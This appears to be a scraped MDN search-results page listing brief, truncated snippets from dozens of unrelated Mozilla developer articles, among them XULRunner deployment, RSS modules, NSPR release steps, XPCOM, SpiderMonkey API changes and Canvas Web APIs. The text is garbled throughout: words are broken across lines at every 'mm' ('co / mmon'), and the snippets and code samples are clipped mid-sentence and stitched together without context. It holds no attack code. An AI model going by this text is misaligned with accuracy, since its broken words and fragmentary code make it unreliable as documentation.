getting started you will need the following utility scripts from http://lxr.mozilla.org/mozilla/sourc...ate-packaging/ (or local source of xulrunner) co
mmon.sh make_full_update.sh you will need mar / mar.exe to build a complete update patch.
...https is reco
mmended but not required (yet).
Deploying XULRunner - Archive of obsolete content
this means that while the release is i
mmature in some areas such as embedding, application deployment, and os integration, it can be used by developers that are releasing standalone xul applications.
...registration and app installation are performed with co
mmand line switches as outlined in the xulrunner section of article co
mmand line options.
Syndicating content with RSS - Archive of obsolete content
it is reco
mmended that you too use this icon when creating the special <a> link to your feed.
...(other sizes and colors, along with their source files, are available too.) advanced syndication techniques although this advanced technique for syndication is not required, support of this is reco
mmended, especially for web sites and applications with high performance needs.
Atomic RSS - Archive of obsolete content
otherwise, just co
mment it out getting started a guided tutorial that will help you get started with atomic rss.
... references atomic rss element list examples none available at this time co
mmunity none available at this time tools none available at this time other resources tim bray's atom rss article rss, atom, rdf, xml ...
Content - Archive of obsolete content
otherwise, just co
mment it out getting started a guided tutorial that will help you get started with the rss content module.
... references rss content module element list examples none available at this time co
mmunity none available at this time tools none available at this time other resources rss content module spec rss, rdf, xml ...
Slash - Archive of obsolete content
documentation selected articles up to 10 why rss slash is popular: counting your co
mments charles iliya krempeaux talks about the rss slash module, why it is popular among some, and how it is used to give a count for your co
mments (2005-08-22).
... references rss slash module element list examples none available at this time co
mmunity none available at this time tools none available at this time other resources rss slash module slash slashdot rss, rdf, xml ...
0.90 - Archive of obsolete content
it was created by netscape to be a metadata format providing a su
mmary of a website.
... when rss 0.90 was created, the rss initialization stood for rich site su
mmary and not really simple syndication.
NSPR Release Engineering Guide - Archive of obsolete content
with release numbers build all targets, debug and optimized on all platforms using local directories run the test suite on all targets verify release numbers show up in binaries resolve testing anomalies tag the tree with nsprpub_release_x_y_z_beta beta release checkout a whole new tree using the tag from above build all targets, debug and optimized on all platforms using the co
mmand: gmake release mdist=<dir>/mdist build_number=vx.y.z [build_opt=1 | use_debug_rtl=1] copy the bits from mdist to /share/builds/components/nspr20/.vx.y.z 1 run explode.pl run the test suite on all targets, using binaries & headers from shipped bits resolve testing anomalies tag the tree with nsprpub_release_x_y[_z] release candidate checkout a whole new tree using tag (inclu...
...ding fixes) tag the treey with nsprpub_release_x_y_z build all targets, debug and optimized on all platforms using the co
mmand: gmake release mdist=<dir>/mdist build_number=vx.y.z [build_opt=1 | use_debug_rtl=1] copy the bits from mdist to /share/builds/components/nspr20/.vx.y.z in /share/builds/components/nspr20/ run the following scripts: explode.pl rename.sh symlink.sh rtm bits rename the .vx.y.z directory to vx.y.z (remove the hidden directory 'dot').
Threats - Archive of obsolete content
a threat source is the cause of a threat, such as a hostile cyber or physical attack, a human error of omission or co
mmission, a failure of organization-controlled hardware or software, or other failure beyond the control of the organization.
... link: red hat certificate system co
mmon criteria certification 8.1: deployment, planning, and installation original document information author(s): joint task force transformation initiative title: national institute of standards and technology (nist) special publication 800-30 revision 1, guide for conducting risk assessments last updated date: september 2012 copyright information: this document is not subject to copyright...
Security - Archive of obsolete content
decryption is the process of transforming encrypted information so that it is intelligible again.introduction to public-key cryptographypublic-key cryptography and related standards and techniques underlie the security features of many products such as signed and encrypted email, single sign-on, and secure sockets layer (ssl) co
mmunications.
...ssl has been universally accepted on the world wide web for authenticated and encrypted co
mmunication between clients and servers.nspr release engineering guidethis paper is for engineers performing formal release for the netscape portable runtime (nspr) across all platforms.ssl and tlsthe secure sockets layer (ssl) and transport layer security (tls) protocols are universally accepted standards for authenticated and encrypted co
mmunication between clients and servers.
contents.rdf - Archive of obsolete content
:displayname="my theme" chrome:accesskey="n" chrome:author="" chrome:authorurl="" chrome:description="" chrome:name="my_theme" chrome:image="preview.png"> <chrome:packages> <rdf:seq about="urn:mozilla:skin:my_theme:packages"> <rdf:li resource="urn:mozilla:skin:my_theme:browser"/> <rdf:li resource="urn:mozilla:skin:my_theme:co
mmunicator"/> <rdf:li resource="urn:mozilla:skin:my_theme:global"/> <rdf:li resource="urn:mozilla:skin:my_theme:mozapps"/> <rdf:li resource="urn:mozilla:skin:my_theme:help"/> </rdf:seq> </chrome:packages> </rdf:description> <!-- version information.
...--> <rdf:description chrome:skinversion="1.5" about="urn:mozilla:skin:my_theme:browser"/> <rdf:description chrome:skinversion="1.5" about="urn:mozilla:skin:my_theme:co
mmunicator"/> <rdf:description chrome:skinversion="1.5" about="urn:mozilla:skin:my_theme:global"/> <rdf:description chrome:skinversion="1.5" about="urn:mozilla:skin:my_theme:mozapps"/> <rdf:description chrome:skinversion="1.5" about="urn:mozilla:skin:my_theme:help"/> </rdf:rdf> ...
Using the W3C DOM - Archive of obsolete content
see the w3c dom 2 reco
mmendation, css2 extended interface.
...t dom level 2: parseint(elemref.style.left, 10) ie5+: elemref.style.pixeltop dom level 2: parseint(elemref.style.top, 10) ie5+: elemref.style.pixelleft = x; elemref.style.pixeltop = y; dom level 2: elemref.style.left = x + "px"; elemref.style.top = y + "px"; w3c dom2 reflection of an element's css properties keep in mind that according to the w3c reco
mmendation, the values returned by the style property of an element reflect static settings in the element's style attribute only, not the total "computed style" that includes any inherited style settings from parent elements.
Using workers in extensions - Archive of obsolete content
when the result is received from xmlhttprequest, instead of i
mmediately updating the displayed information in the status bar, a message is sent to the main thread using the worker's postmessage() method.
...watchstock() is updated to pass the symbol to the ticker thread, and refreshinformation(), whose main functionality is now in the worker, is updated to simply pass an empty message to the worker, which tells the worker to refresh the stock information i
mmediately.
-ms-scrollbar-arrow-color - Archive of obsolete content
-y: scroll; border-style: solid; border-width: thin; font-family: sans-serif; float: left; margin-right: 10px; } .bluescrollbox { scrollbar-face-color: blue; scrollbar-arrow-color: blue; } .greenscrollbox { scrollbar-face-color: green; scrollbar-arrow-color: green; } <body> <div class="bluescrollbox"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonu
mmy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.
... </div> <div class="greenscrollbox"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonu
mmy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.
-ms-scrollbar-base-color - Archive of obsolete content
overflow-y: scroll; font-family: sans-serif; float: left; margin-right: 10px; } .aquascroll { scrollbar-base-color: aqua; scrollbar-arrow-color: blue; border-color: blue; } .bisquescroll { scrollbar-base-color: bisque; scrollbar-arrow-color: red; border-color: red; } <body> <div class="aquascroll"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonu
mmy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.
... </div> <div class="bisquescroll"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonu
mmy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.
-ms-scrollbar-face-color - Archive of obsolete content
-y: scroll; border-style: solid; border-width: thin; font-family: sans-serif; float: left; margin-right: 10px; } .bluescrollbox { scrollbar-face-color: blue; scrollbar-arrow-color: blue; } .greenscrollbox { scrollbar-face-color: green; scrollbar-arrow-color: green; } <body> <div class="bluescrollbox"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonu
mmy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.
... </div> <div class="greenscrollbox"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonu
mmy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.
Interface Compatibility
as we add new features to the web and to our applications, progra
mming interfaces change.
... js-ctypes is the reco
mmended way for extensions to call into os or third-party native code.
Interface development guide
co
mmenting idl for better documentation a guide explaining how to properly co
mment your interface's idl in order to ensure that not only can others understand your interface, but to ensure that the documentation here on mdc is as accurate as possible.
... co
mmunity view mozilla embedding forums...
Error codes returned by Mozilla APIs
ns_error_factory_not_loaded (0x800401f8) ns_error_factory_exists (0xc1f30100) ns_error_factory_no_signature_support (0xc1f30101) ns_error_proxy_invalid_in_parameter (0x80010010) ns_error_proxy_invalid_out_parameter (0x80010011) ns_error_cannot_convert_data (0x80460001) ns_error_object_is_i
mmutable (0x80460002) ns_error_loss_of_significant_data (0x80460003) ns_error_illegal_during_shutdown (0x8046001e) many operations cannot be performed once the application is being shutdown.
...implementations of nsichannel.asyncopen() will co
mmonly return this error if the channel has already been opened (and has not yet been closed).
Message manager
message managers provide a way for chrome-privileged javascript code to co
mmunicate across process boundaries.
... guides message manager overview frame script loading and lifetime co
mmunicating with frame scripts performance best practices frame script environment limitations of frame scripts process scripts api reference nsiframescriptloader nsimessagelistenermanager nsimessagebroadcaster nsimessagesender nsisyncmessagesender nsicontentframemessagemanager nsiprocessscriptloader ...
Security best practices for Firefox front-end engineers
this article will help firefox developers understand the security controls in place and avoid co
mmon pitfalls when developing front-end code for firefox.
... we use our built-in sanitizer with the following flags: sanitizerallowstyle sanitizerallowco
mments sanitizerdropforms sanitizerlogremovals the sanitizer removes all scripts (script tags, event handlers) and form elements (form, input, keygen, option, optgroup, select, button, datalist).
Firefox
firefox is an open source project; much of the code is contributed by our huge co
mmunity of volunteers.
...always keep in mind the side effects your changes may have, from blocking other tasks, to interfering with other user interface elements.privacythis document lists privacy-related documentation.security best practices for firefox front-end engineersthis article will help firefox developers understand the security controls in place and avoid co
mmon pitfalls when developing front-end code for firefox.site identity buttonthe site identity button is a feature in firefox that gives users more information about the sites they visit.
Using the Browser API
note: an iframe enhanced by the browser api is co
mmonly referred to as a "browser iframe".
... browser.addeventlistener('mozbrowserlocationchange', function (e) { urlbar.value = e.detail; }); zooming in and out the browser content can be progra
mmatically zoomed in and out using the htmliframeelement.zoom() method.
How to Report a Hung Firefox
the tool also has co
mmand-line options to kill processes with other names or by process id.
... then, in a terminal, kill firefox using a co
mmand such as this: # replace 31042 with the pid of firefox found above kill -n sigabrt 31042 # on osx kill -s sigabrt 31042 the firefox crash report ui should appear.
IPDL Best Practices
specifically, because allocpprotocol and deallocpprotocol are asy
mmetric, if ipdl ends up shutting down the protocol tree due to an error, the auto pointer will attempt to trigger protocol deletion a second time.
... while this can be worked around with actordestroy, being explicit about deleting the protocol with send__delete__ is easier to maintain, with sy
mmetric alloc/deallocpprotocol functions also being easier to reason about.
OS.File for the main thread
note that this snippet is useful as a demonstration of complex asynchronous progra
mming with os.file – in most cases, function os.file.writeatomic is a better choice.
... flush if false or unspecified, return i
mmediately once the write is complete.
Promise.jsm
to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/promise.jsm"); note: a preliminary promise module is also available starting from gecko 17, though it didn't conform to the promises/a+ proposal until gecko 25: components.utils.import("resource://gre/modules/co
mmonjs/promise/core.js"); // gecko 17 to 20 components.utils.import("resource://gre/modules/co
mmonjs/sdk/core/promise.js"); // gecko 21 to 24 this implementation also includes helper functions that are specific to the add-on sdk.
... while you may still import this module from the above paths, the reco
mmended way for loading it is through the add-on sdk loader.
SourceMap.jsm
is i
mmediately passed to sourcenode.prototype.add, see below.
...useful for tri
mming whitespace from the end of a source node, etc.
Task.jsm
function async( atask ); async() is similar to spawn(), except that: it doesn't i
mmediately start the task, rather it returns an "async function" that starts the task when the function is called; it binds the task to the async function's this object and arguments; it requires the task to be a function.
... async() simplifies the co
mmon pattern of implementing a method via a task, like this simple object with a greet method that has a name parameter and spawns a task to send a greeting and return its reply: let greeter = { message: "hello, name!", greet: function(name) { return task.spawn((function* () { return yield sendgreeting(this.message.replace(/name/, name)); }).bind(this); }) }; with async(), the method can be declared succinctly: let greeter = { message: "hello, name!", greet: task.async(function* (name) { return yield sendgreeting(this.message.replace(/name/, name)); }) }; while maintaining identical semantics: greeter.greet("mitchell").then((reply) => { ...
JavaScript code modules
assert.jsm implements the co
mmonjs unit testing specification version 1.1, which provides a basic standardized interface for performing in-code logical assertions with optional, customizable error reporting.
... services.jsm provides getters for conveniently obtaining access to co
mmonly-used services.
L10n Checks
ab-cd browser chrome/browser browser.dtd +backforwardmenu.tooltip +fullzoomenlargecmd.co
mmandkey3 +fullzoomreducecmd.co
mmandkey2 +fullzoomresetcmd.co
mmandkey2 +organizebookmarks.label -showallbookmarkscmd2.label migration/migration.dtd -importfromfile.accesskey -importfromfile.label +importfromhtmlfile.accesskey +importfromhtmlfile.label you can assume changed strings when you see entities removed an...
...the output closes with a su
mmary, giving the total counts of missing and obsolete strings and some statistics on how many strings are changed or not, excluding access and co
mmand keys.
SpiderMonkey 31
when all jsapi operation has completed, the corresponding js_shutdown method (currently non-mandatory, but highly reco
mmended as it may become mandatory in the future) uninitializes spidermonkey, cleaning up memory and allocations performed by js_init.
... it is not required to call js_shutdown at present, but it is strongly reco
mmended: calling it may be required in a future spidermonkey release.
SpiderMonkey 45
eddertime (bug 1159507) js_mayresolvestandardclass (bug 1155946) js_getiteratorprototype (bug 1225392) js_globallexicalscope (bug 1202902) js_hasextensiblelexicalscope (bug 1202902) js_extensiblelexicalscope (bug 1202902) js_initreflectparse (bug 987514) js::toprimitive (bug 1206168) js::getfirstargumentastypehint (bug 1054756) js::objecttocompletepropertydescriptor (bug 1144366) js_seti
mmutableprototype (bug 1211607) js_getownucpropertydescriptor (bug 1211607) js_hasownpropertybyid (bug 1211607) js_hasownproperty (bug 1211607) js_deleteucproperty (bug 1211607) js::newfunctionfromspec (bug 1054756) js::compilefornonsyntacticscope (bug 1165486) js_checkforinterrupt (bug 1058695) js::mapdelete (bug 1159469) js::mapforeach (bug 1159469) js::newsetobject (bug 1159469) js::se...
...1208747) js::setstopwatchismonitoringcpow (bug 1156264) js::getstopwatchismonitoringcpow (bug 1156264) js::setstopwatchismonitoringjank (bug 1156264) js::getstopwatchismonitoringjank (bug 1156264) js::isstopwatchactive (bug 674779) js::getperfmonitoringtestcpurescheduling (bug 1181175) js::addcpowperformancedelta (bug 1181175) js::setstopwatchstartcallback (bug 1208747) js::setstopwatchco
mmitcallback (bug 1208747) js::setgetperformancegroupscallback (bug 1208747) js_stringhasbeeninterned renamed to js_stringhasbeenpinned (bug 1178581) js_internjsstring renamed to js_atomizeandpinjsstring (bug 1178581) js_internstringn renamed to js_atomizeandpinstringn (bug 1178581) js_internstring renamed to js_atomizeandpinstring (bug 1178581) js_internucstringn renamed to js_atomizeandpinuc...
Mozinfo
co
mmand line usage mozinfo comes with a co
mmand line, mozinfo which may be used to diagnose one's current system.
...mozinfo --help documents co
mmand-line usage.
Exploitable crashes
do this before making co
mments or taking actions that expose exploitability publicly.
... explain in a co
mment why the issue seems exploitable.
Animated PNG graphics
apng is a simpler alternative to mng, providing a spec suitable for the most co
mmon usage of animated images on the internet.
...it is strongly reco
mmended that when any error is encountered decoders should discard all subsequent frames, stop the animation, and revert to displaying the default image.
Gecko object attributes
co
mmon attributes class the class name for an element from html, xul, svg, etc.
... co
mmon widget attributes checkable true when the widget is known to behave like a checkbox.
Feed content access API
var i; var theentry; var theurl; var info; for (i=0; i<numitems; i++) { theentry = itemarray.queryelementat(i, components.interfaces.nsifeedentry); if (theentry) { theurl = doc.write('<b><a href="' + theentry.link.resolve("") + '">' + theentry.title.text + '</a></b><br>'); if (theentry.su
mmary) { info = theentry.su
mmary.text + "<p><hr><p>"; } else { info = theentry.content.text + "<p><hr><p>"; } doc.write("<blockquote>" + info); doc.write("</blockquote><p>"); } } } // close the document; we're done!
...we build the contents of the document by looking at the title, link, su
mmary, and content properties for each item.
Manipulating bookmarks using Places
this article offers examples for how to perform co
mmon bookmark management tasks using the bookmarks service.
...r var myext_bookmarklistener = { onbeginupdatebatch: function() {}, onendupdatebatch: function() {}, onitemadded: function(aitemid, afolder, aindex) {}, onitemremoved: function(aitemid, afolder, aindex) {}, onitemchanged: function(abookmarkid, aproperty, aisannotationproperty, avalue) { myextension.dosomething(); }, onitemvisited: function(abookmarkid, avisitid, time) {}, onite
mmoved: function(aitemid, aoldparent, aoldindex, anewparent, anewindex) {}, queryinterface: xpcomutils.generateqi([components.interfaces.nsinavbookmarkobserver]) }; // an extension var myextension = { // this function is called when my add-on is loaded onload: function() { bmsvc.addobserver(myext_bookmarklistener, false); }, // this function is called when my add-on is unloaded onunl...
Places Developer Guide
it provides code samples for many co
mmon use-cases, such as crud operations, searching, and observing.
... }, onite
mmoved: function(id, oldparent, oldindex, newparent, newindex) { // oldparent and newparent are the ids of the old and new parent folders of the moved item.
Querying Places
using the results the most co
mmon way to use results is to implement a view.
...notifications sent to the result from the history and bookmarks system, as well as co
mmands executed by the progra
mmer such as sorting may cause the structure to change and nodes may be inserted, removed, or replaced.
The Publicity Stream API
this stream can be pulled down by getpublicitystream() and helps determine the results for getuserreco
mmendedapps().
...it is not reco
mmended that applications consume the publicity stream in any way (please use your own server for any in-app social aspects).
Toolkit API
the mozilla toolkit is a set of progra
mming interfaces (apis) built on top of gecko which provide advanced services to xul applications.
... these services include: profile management chrome registration browsing history extension and theme management application update service safe mode printing official references structure of an installable bundle: describes the co
mmon structure of installable bundles, including extensions, themes, and xulrunner applications extension packaging: specific information about how to package extensions theme packaging: specific information about how to package themes multiple-item extension packaging: specific information about multiple-item extension xpis xul application packaging: specific information about how to package xulrunner applications chrome registration printing in xul apps see also the following developer pages contain examples and discuss...
Accessing the Windows Registry Using XPCOM
you can read the interface documentation for a full explanation, but we will show only the three most co
mmonly used modes here: access_read — for reading values, enumerating keys, and receiving notifications access_write — for setting values and creating sub keys access_all — access for all operations in addition to open() and create(), there are the openchild() and createchild() methods.
... reading registry values probably the most co
mmon action associated with the windows registry is reading values.
Generating GUIDs
guids are used in mozilla progra
mming for identifying several types of entities, including xpcom interfaces (this type of guids is callled iid), components (cid), and legacy add-ons—like extensions and themes—that were created prior to firefox 1.5.
... canonical form the co
mmon form of a guid is xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx, where each x stands for a hexadecimal digit.
Generic factory
su
mmary most xpcom factories can be very simple.
... original document information author: patrick beard last updated date: february 26, 1999 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details.
nsMsgSearchOpValue
nsmsgsearchopvalue defined in co
mm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl 146 typedef long nsmsgsearchopvalue; 147 148 [scriptable, uuid(9160b196-6fcb-4eba-aaaf-6c806c4ee420)] 149 interface nsmsgsearchop { 150 const nsmsgsearchopvalue contains = 0; /* for text attributes */ 151 const nsmsgsearchopvalue doesntcontain = 1; 152 const nsmsgsearchopvalue is = 2; /* is and isn't also apply to some non-text attrs */ 153 const nsmsgsearchopvalue isnt = 3; 154 const nsmsgsearchopvalue isempty = 4; 155 156 const nsmsgsearchopvalue isbefore = 5; /* for date attributes */ 157 const nsmsgsearchopvalue isafter = 6; 158 159 const nsmsgsearchopvalue ishigherthan = 7; /* for priority.
...plies =) */ 172 const nsmsgsearchopvalue isinab = 16; 173 const nsmsgsearchopvalue isntinab = 17; 174 const nsmsgsearchopvalue isntempty = 18; /* primarily for tags */ 175 const nsmsgsearchopvalue matches = 19; /* generic term for use by custom terms */ 176 const nsmsgsearchopvalue doesntmatch = 20; /* generic term for use by custom terms */ 177 const nsmsgsearchopvalue knu
mmsgsearchoperators = 21; /* must be last operator */ 178 }; ...
Status, Recent Changes, and Plans
plans for nscomptr bug 59212: as soon as we test on more compilers, start reco
mmending already_addrefed as a function result.
... added an entire section to the getting started guide on nscomptrs in function signatures added references to recent bugs influencing the use of nscomptr machinery: bug 59212, and bug 59414 fixed comparisons 1 and 3, as per co
mments by morten welinder updated examples to prefer direct initialization over copy initialization.
Using nsCOMPtr
contents status, recent changes, and plans recent changes to nscomptr getting started guide introduction using nscomptr su
mmary reference manual the basics initialization and assignment using an nscomptr<t> as a t* efficiency and correctness compiler annoyances frequently asked questions buildtime errors runtime errors how do i...
...portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details.
Using nsIDirectoryService
if you are registering it yourself it is very important to register it i
mmediately after calling ns_initxpcom.
...related pages code_snippets:file_i/o original document information authors: conrad carlen, doug turner last updated date: september 26, 2000 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details.
XPCOM ABI
rms] represents the compiler abi and may be either: msvc - microsoft visual c++ n32 - irix 6 c++ compiler gcc2 - gnu c++ compiler 2.x gcc3 - gnu c++ compiler 3.x or 4.x sunc - sun c++ compiler ibmc - ibm c++ compiler for example: firefox built with the gnu c++ compiler 4.0.0 for the intel pentium processor would have xpcom abi of x86-gcc3 the xpcom abi string can be retrieved progra
mmatically by using the nsixulruntime interface.
... a co
mmon point of compatibility check is during the installation of extensions.
wrappedJSObject
more specifically, as xpconnect source co
mments say, you can get comp.wrappedjsobject if three conditions are met: comp really is an xpconnect wrapper around a js object.
... nsixpcsecuritymanager allows access (see the source code co
mments for details; this is usually not an issue for mozilla extensions and applications) this means that in order to access the js object implementing our component directly, we must modify the component.
XPCOM
here is how to make the same component in python using pyxpcom.fun with xbl and xpconnectgenerating guidsguids are used in mozilla progra
mming for identifying several types of entities, including xpcom interfaces (this type of guids is callled iid), components (cid), and legacy add-ons—like extensions and themes—that were created prior to firefox 1.5.
... join the xpcom co
mmunity choose your preferred method for joining the discussion: mailing list newsgroup rss feed irc: #developers (learn more)tools: javascript component wizard, visual c++ component wizard, visual c++ component wizard for visual studio 2010, xpcomviewer addon: browse xpcom interfaces easily ...
xpidl
it generates: c++ header files (.h), with a co
mmented template for full c++ implementation of the interface xpconnect typelib files (.xpt), with runtime type information to dynamically call xpcom objects through xpconnect note: starting in gecko 9.0, xpidl has been replaced with pyxpidl in the gecko sdk.
...for testing purposes, or one-off interface compilation, xpidl can be run from the co
mmand line: usage: ./xpidl -m mode [-w] [-v] [-t version number] [-d filename.pp] [-i path] [-o basename | -e filename.ext] filename.idl -a emit annotations to typelib -w turn on warnings (reco
mmended) -v verbose mode (nyi) -t create a typelib of a specific version number -i add entry to start of include path for ``#include "nsithing.idl" -o use b...
XPIDL
however, it is generally not reco
mmended to have a chain of interfaces inheriting from each other if you intend to have a chain of implementations for each interface, as it can cause problems in c++ code.
... co
mmon changes to an interface, such as changes to a method signature, number of arguments, and number or type of attributes, automatically require an iid change.
XUL Overlays
the overlay mechanism allows you to merge elements into existing subtrees, but it also allows you to store co
mmon ui elements in overlay files and merge them into any base files that use them.
...for example, the buttons that appear at the bottom of co
mmon dialogs, the ok and cancel buttons, may be used in dozens of places in the ui.
The Valgrind Test Job
the valgrind test job builds the browser and runs it under valgrind, which can detect various co
mmon memory-related errors.
... ac_add_options --enable-valgrind ac_add_options --disable-jemalloc running to run the valgrind test job locally, run the following co
mmand.
Testing Mozilla code
before you can even get your code co
mmitted into the source tree, you have to test it, and larger patches have to have automated tests.
...this type of coverage is only concerned with hit counts for lines and branches.the valgrind test jobthe valgrind test job builds the browser and runs it under valgrind, which can detect various co
mmon memory-related errors.
Cached compose window FAQ
but we noticed that the co
mmon usage pattern is to compose, send, compose, send, compose send.
... but this is not a co
mmon usage model.
Creating a gloda message query
this content covers features introduced in thunderbird 3 this page describes how to progra
mmatically create a message query using gloda, thunderbird's global database.
...you can find the file, which includes doxygen markup of sorts, here: https://hg.mozilla.org/co
mm-central/file/tip/mailnews/db/gloda/modules/gloda.js components.utils.import("resource:///modules/gloda/public.js"); create the query let query = gloda.newquery(gloda.noun_message); add constraints to the query each constraint function takes one or more arguments which are "or"ed together.
CanvasRenderingContext2D.currentTransform - Web APIs
the canvasrenderingcontext2d.currenttransform property of the canvas 2d api returns or sets a do
mmatrix (current specification) or svgmatrix (old specification) object for the current transformation matrix.
... syntax ctx.currenttransform [= value]; value a do
mmatrix or svgmatrix object to use as the current transformation matrix.
CanvasRenderingContext2D.globalCompositeOperation - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.globalcompositeoperation = 'xor'; ctx.fillstyle = 'blue'; ctx.fillrect(10, 10, 100, 100); ctx.fillstyle = 'red'; ctx.fillrect(50, 50, 100, 100); result specifications specification status co
mment html living standardthe definition of 'canvasrenderingcontext2d.globalcompositeoperation' in that specification.
... living standard compositing and blending level 1 candidate reco
mmendation ...
CanvasRenderingContext2D.setLineDash() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // dashed line ctx.beginpath(); ctx.setlinedash([5, 15]); ctx.moveto(0, 50); ctx.lineto(300, 50); ctx.stroke(); // solid line ctx.beginpath(); ctx.setlinedash([]); ctx.moveto(0, 100); ctx.lineto(300, 100); ctx.stroke(); result some co
mmon patterns this example illustrates a variety of co
mmon line dash patterns.
... } const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); let y = 15; drawdashedline([]); drawdashedline([1, 1]); drawdashedline([10, 10]); drawdashedline([20, 5]); drawdashedline([15, 3, 3, 3]); drawdashedline([20, 3, 3, 3, 3, 3, 3, 3]); drawdashedline([12, 3, 3]); // equals [12, 3, 3, 12, 3, 3] result specifications specification status co
mment html living standardthe definition of 'canvasrenderingcontext2d.setlinedash' in that specification.
CanvasRenderingContext2D - Web APIs
this code draws a house: // set line width ctx.linewidth = 10; // wall ctx.strokerect(75, 140, 150, 110); // door ctx.fillrect(130, 190, 40, 60); // roof ctx.beginpath(); ctx.moveto(50, 140); ctx.lineto(150, 60); ctx.lineto(250, 140); ctx.closepath(); ctx.stroke(); the resulting drawing looks like this: reference drawing rectangles there are three methods that i
mmediately draw rectangles to the canvas.
... specifications specification status co
mment html living standardthe definition of 'canvasrenderingcontext2d' in that specification.
Channel Messaging API - Web APIs
the channel messaging api allows two separate scripts running in different browsing contexts attached to the same document (e.g., two iframes, or the main document and an iframe, two documents via a sharedworker, or two workers) to co
mmunicate directly, passing messages between one another through two-way channels (or pipes) with a port at each end.
... specifications specification status co
mment html living standardthe definition of 'channel messaging' in that specification.
ChildNode - Web APIs
the childnode mixin contains methods and properties that are co
mmon to all types of node objects that can have a parent.
... specifications specification status co
mment domthe definition of 'childnode' in that specification.
Clients.claim() - Web APIs
the claim() method causes those pages to be controlled i
mmediately.
... self.addeventlistener('activate', event => { event.waituntil(clients.claim()); }); specifications specification status co
mment service workersthe definition of 'claim()' in that specification.
Clipboard - Web APIs
the clipboard is a data buffer that is used for short-term, data storage and/or data transfers, this can be between documents or applications it is usually implemented as an anonymous, temporary data buffer, sometimes called the paste buffer, that can be accessed from most or all programs within the environment via defined progra
mming interfaces.
... specifications specification status co
mment clipboard api and eventsthe definition of 'clipboard' in that specification.
CompositionEvent.data - Web APIs
for compositionend events, this is the string as co
mmitted to the editor.
... specifications specification status co
mment document object model (dom) level 3 events specificationthe definition of 'data' in that specification.
Console API - Web APIs
by far the most co
mmonly-used method is console.log, which is used to log the current value contained inside a specific variable.
... specifications specification status co
mment console api living standard initial definition.
ConstrainBoolean - Web APIs
specifications specification status co
mment media capture and streamsthe definition of 'constrainboolean' in that specification.
... candidate reco
mmendation initial definition technically, constrainboolean is actually based on an intermediary dictionary named constrainbooleanparameters, which adds exact and ideal to the simple boolean type.
ConstrainDOMString - Web APIs
specifications specification status co
mment media capture and streamsthe definition of 'constraindomstring' in that specification.
... candidate reco
mmendation initial definition technically, constraindomstring is actually based on an intermediary dictionary named constraindomstringparameters, which adds exact and ideal to domstring.
ConstrainDouble - Web APIs
specifications specification status co
mment media capture and streamsthe definition of 'constraindouble' in that specification.
... candidate reco
mmendation initial definition technically, constraindouble is actually based on an intermediary dictionary named constraindoublerange, which adds exact and ideal to doublerange, with constraindouble being a type that can be either a long integer or a doublerange.
ConstrainULong - Web APIs
specifications specification status co
mment media capture and streamsthe definition of 'constrainulong' in that specification.
... candidate reco
mmendation initial definition technically, constrainulong is actually based on an intermediary dictionary named constrainulongrange, which adds exact and ideal to ulongrange, with constrainulong being a type that can be either a long integer or a ulongrange.
CrashReportBody - Web APIs
for security reasons, no details of the crash are co
mmunicated in the body except for a general crash reason.
... specifications specification status co
mment reporting apithe definition of 'crashreportbody' in that specification.
EffectTiming.delay - Web APIs
examples in the pool of tears example, each tear is passed a random delay via its timing object: // randomizer function var getrando
mmsrange = function(min, max) { return math.random() * (max - min) + min; } // loop through each tear tears.foreach(function(el) { // animate each tear el.animate( tearsfalling, { delay: getrando
mmsrange(-1000, 1000), // randomized for each tear duration: getrando
mmsrange(2000, 6000), // randomized for each tear iterations: infinity, easing: "cubic-bezier(0...
....6, 0.04, 0.98, 0.335)" }); }); specifications specification status co
mment web animationsthe definition of 'delay' in that specification.
EffectTiming.duration - Web APIs
examples in the pool of tears example, each tear is passed a random duration via its timing object: // randomizer function var getrando
mmsrange = function(min, max) { return math.random() * (max - min) + min; } // loop through each tear tears.foreach(function(el) { // animate each tear el.animate( tearsfalling, { delay: getrando
mmsrange(-1000, 1000), // randomized for each tear duration: getrando
mmsrange(2000, 6000), // randomized for each tear iterations: infinity, easing: "cubic-bezier...
...(0.6, 0.04, 0.98, 0.335)" }); }); specifications specification status co
mment web animationsthe definition of 'duration' in that specification.
Element.animate() - Web APIs
examples in the demo down the rabbit hole (with the web animation api), we use the convenient animate() method to i
mmediately create and play an animation on the #tunnel element to make it flow upwards, infinitely.
... specifications specification status co
mment web animations level 2the definition of 'keyframeanimationoptions.iterationcomposite' in that specification.
Element.clientLeft - Web APIs
ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea co
mmodo consequat.
... padding-bottom left top right bottom margin-top margin-bottom border-top border-bottom specifications specification status co
mment css object model (cssom) view modulethe definition of 'clientleft' in that specification.
Element.getAttributeNS() - Web APIs
dom methods dealing with element's attributes: not namespace-aware, most co
